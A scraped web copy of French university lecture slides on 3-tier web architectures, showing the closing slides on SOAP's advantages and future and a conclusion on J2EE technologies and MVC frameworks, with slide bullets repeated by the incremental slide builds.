Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .√Pas de probleme de firewall, proxys,etc√Reutilisation d’applications existantes et accessible par le web√De nombreux outils arrivent : MS Queue Series, Apache SOAP,. . .√Outils de generation automatique de XML-SOAP !
Polytech’Lillec© Olivier Caron
![Page 54: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/54.jpg)
41
L’avenir de SOAP√
L’une des briques de base de .NET
Polytech’Lillec© Olivier Caron
![Page 55: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/55.jpg)
41
L’avenir de SOAP√
L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants
Polytech’Lillec© Olivier Caron
![Page 56: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/56.jpg)
41
L’avenir de SOAP√
L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages
Polytech’Lillec© Olivier Caron
![Page 57: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/57.jpg)
41
L’avenir de SOAP√
L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages√Prise en compte de la securite (en cours)
Polytech’Lillec© Olivier Caron
![Page 58: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/58.jpg)
41
L’avenir de SOAP√
L’une des briques de base de .NET√IBM et Lotus sont aussi des acteurs importants√C’est une reponse au probleme de multi-plateformes et multi-langages√Prise en compte de la securite (en cours)√Pas de transaction possible (http)
Polytech’Lillec© Olivier Caron
![Page 59: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/59.jpg)
42
Conclusion√
Incontournable !
Polytech’Lillec© Olivier Caron
![Page 60: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/60.jpg)
42
Conclusion√
Incontournable !√Technologie J2EE en avance (JSP, JSTL, Servlets)
Polytech’Lillec© Olivier Caron
![Page 61: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/61.jpg)
42
Conclusion√
Incontournable !√Technologie J2EE en avance (JSP, JSTL, Servlets)√Des frameworks compatible MVC (Struts, JSF,. . .)
Polytech’Lillec© Olivier Caron